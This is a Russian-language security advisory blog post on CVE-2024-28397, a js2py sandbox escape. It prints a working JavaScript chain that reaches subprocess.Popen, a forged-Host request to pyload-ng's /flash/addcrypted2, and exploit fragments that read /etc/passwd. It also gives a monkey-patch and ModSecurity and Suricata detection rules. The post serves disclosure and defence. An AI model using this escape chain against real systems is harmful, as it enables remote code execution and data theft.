Уязвимость в js2py
Уязвимость в js2py
Категория: Программы Теги: Уязвимости Опубликовано: 9 сентября 2025

Уязвимость BDU:2024-05266 (CVE-2024-28397) js2py

Уязвимость BDU:2024-05266 (CVE-2024-28397) представляет собой критическую проблему безопасности в библиотеке js2py, которая позволяет выполнять произвольный код на атакуемом хосте путем обхода механизмов песочницы. Эта уязвимость затрагивает версии js2py до v0.74 включительно и связана с неправильной обработкой глобальных переменных в компоненте js2py.disable_pyimport(), что позволяет злоумышленникам получить ссылку на объекты Python и выполнить произвольные команды.

Анализ уязвимости

Уровень опасности: 5.3 MEDIUM
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

  • AV:L (Вектор атаки): Локальный - Атака требует локального доступа к системе.

  • AC:L (Сложность атаки): Низкая - Для эксплуатации не требуются специальные условия.

  • PR:L (Уровень привилегий): Низкий - Атакующий должен иметь базовые привилегии.

  • UI:N (Вмешательство пользователя): Не требуется - Атака не требует взаимодействия с пользователем.

  • S:U (Влияние на scope): Не оказывает - Атака не затрагивает другие компоненты системы.

  • C:L (Влияние на конфиденциальность): Низкое - Может привести к утечке ограниченной информации.

  • I:L (Влияние на целостность): Низкое - Возможно частичное изменение данных.

  • A:L (Влияние на доступность): Низкое - Может вызвать незначительные перерывы в работе.

Условия эксплуатации

Для успешной эксплуатации уязвимости необходимо, чтобы атакуемая система использовала уязвимую версию js2py (≤0.74) и интерпретатор Python версии ниже 3.12. Кроме того, приложение должно обрабатывать пользовательский JavaScript-код с использованием js2py. В случае с pyload-ng атака требует доступа к endpoint /flash/addcrypted2, который по умолчанию ограничен локальным доступом, но это можно обойти с помощью поддельного заголовка Host.

Технический анализ уязвимости

Библиотека js2py предназначена для выполнения JavaScript-кода внутри Python-окружения. Она широко используется в таких проектах, как:

  • pyload-ng (менеджер загрузок)

  • cloudscraper (обход анти-бот защиты)

  • lightnovel-crawler (парсер веб-контента)

Уязвимость существует в реализации функции disable_pyimport(), которая должна предотвращать доступ JavaScript-кода к Python-объектам. Однако из-за неправильной обработки глобальных переменных атакующий может получить ссылку на объекты Python и вызвать опасные функции, такие как subprocess.Popen.

Механизм обхода песочницы

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Основная идея заключается в доступе к внутренним объектам Python через цепочку прототипов JavaScript:

let hacked = Object.getOwnPropertyNames({});
let bymarve = hacked.__getattribute__;
let n11 = bymarve("__getattribute__");
let obj = n11("__class__").__base__;
let getattr = obj.__getattribute__;

Этот код позволяет получить доступ к базовым классам Python и найти класс subprocess.Popen, который затем используется для выполнения произвольных команд:

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result;
        }
    }
}
let proc = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true);
let out = proc.communicate()[0].decode("utf-8");

Пример вредоносного HTTP-запроса

В случае с pyload-ng атакующий отправляет POST-запрос на endpoint /flash/addcrypted2 с поддельным заголовком Host и полезной нагрузкой в параметре jk:

POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: 1234

crypted=MTIzNA%3D%3D&jk=let%20cmd%20%3D%20%22whoami%22%3B%20let%20hacked%20%3D%20Object.getOwnPropertyNames%28%7B%7D%29%3B%20...

Анализ эксплоитов

Эксплоит 1

Первый эксплоит использует локальный вызов js2py для проверки уязвимости. Он выполняет команду head -n 1 /etc/passwd и проверяет наличие вывода в результате:

import js2py
payload = """
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;";
// ... JavaScript код для выполнения команды
"""
result = js2py.eval_js(payload)

Этот подход демонстрирует, что уязвимость может эксплуатироваться даже без сетевого доступа, если приложение обрабатывает вредоносный JavaScript-код.

Эксплоит 2

Второй эксплоит использует комбинацию CVE-2024-28397 и CVE-2024-39205 для удаленного выполнения кода на системах с pyload-ng. Атакующий обходит ограничение локального доступа с помощью поддельного заголовка Host и выполняет произвольные команды:

request = b"""POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: 1234

crypted=MTIzNA%3D%3D&jk=let%20cmd%20%3D%20%22whoami%22%3B%20...
"""
s = socket.socket()
s.connect((target, port))
s.send(request)

Эксплоит 3

Третий эксплоит реализован на PHP и предназначен для тестирования на проникновение. Он отправляет вредоносные запросы к уязвимому endpoint и может использовать reverse shell для получения доступа к системе:

$client = new GuzzleHttp\Client();
$response = $client->post("http://{$target}:{$port}/flash/addcrypted2", [
    'headers' => ['Host' => "127.0.0.1:{$port}"],
    'form_params' => [
        'crypted' => $cryptedB64,
        'jk' => $javascriptPayload
    ]
]);

Потенциальный вред от успешной атаки

Злоумышленник, успешно воспользовавшийся уязвимостью, может:

  1. Выполнять произвольные команды на системе, включая чтение, изменение и удаление файлов.

  2. Получить полный контроль над атакуемой системой, если процесс работает с привилегиями администратора.

  3. Красть конфиденциальные данные, такие как credentials, ключи шифрования и персональные данные.

  4. Использовать систему как плацдарм для атак на внутреннюю сеть.

  5. Нарушать работу сервисов путем остановки критических процессов или изменения конфигураций.

Методы защиты

1. Обновление и патчинг

  • Официальный патч: На текущий момент официального патча не существует. Можно попробовать использовать временные решения, предложенные сообществом, такие как манки-патчинг:

def monkey_patch():
    from js2py.constructors.jsobject import Object
    fn = Object.own["getOwnPropertyNames"]["value"].code
    def wraps(*args, **kwargs):
        result = fn(*args, **kwargs)
        return list(result)
    Object.own["getOwnPropertyNames"]["value"].code = wraps

2. Сетевые меры защиты

  • Сегментация сети: Изолируйте системы, использующие уязвимые библиотеки, в отдельные сетевые сегменты со строгим контролем доступа.

  • Firewall правила: Блокируйте несанкционированный доступ к портам уязвимых приложений (например, 9666 для pyload-ng).

3. Web Application Firewall (WAF)

Для блокировки вредоносных запросов можно использовать следующие правила:

Правила для ModSecurity:
SecRule REQUEST_URI "@beginsWith /flash/addcrypted2" \
    "id:1001,phase:2,deny,msg:'CVE-2024-28397 Exploit Attempt',\
    chain"
    SecRule REQUEST_HEADERS:Host "@rx ^127\.0\.0\.1:|localhost:" \
        "chain"
        SecRule ARGS:jk "@rx __getattribute__|__subclasses__|subprocess\.Popen" \
            "setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'"
Правила для Suricata:
alert http any any -> any any (msg:"CVE-2024-28397 - js2py Sandbox Escape Attempt"; flow:established,to_server; http.uri; content:"/flash/addcrypted2"; http.host; content:"127.0.0.1"; http.request_body; content:"jk"; pcre:"/__getattribute__|__subclasses__|subprocess\.Popen/i"; classtype:web-application-attack; sid:202428397; rev:1;)

Это правило можно найти в моём наборе правил - https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/

Размещение WAF/IPS: Эти системы должны быть расположены на границе сети или перед уязвимыми серверами для анализа входящего трафика.

4. Дополнительные рекомендации

  • Принцип наименьших привилегий: Запускайте приложения с минимально необходимыми привилегиями чтобы ограничить последствия атаки.

  • Мониторинг и логирование: Регулярно анализируйте логи на предмет подозрительной активности, такой как необычные запросы к API.

  • Статический анализ кода: Проверяйте приложения на использование уязвимых библиотек и заменяйте их на более безопасные аналоги.

Алексей Черемных Алексей Черемных
478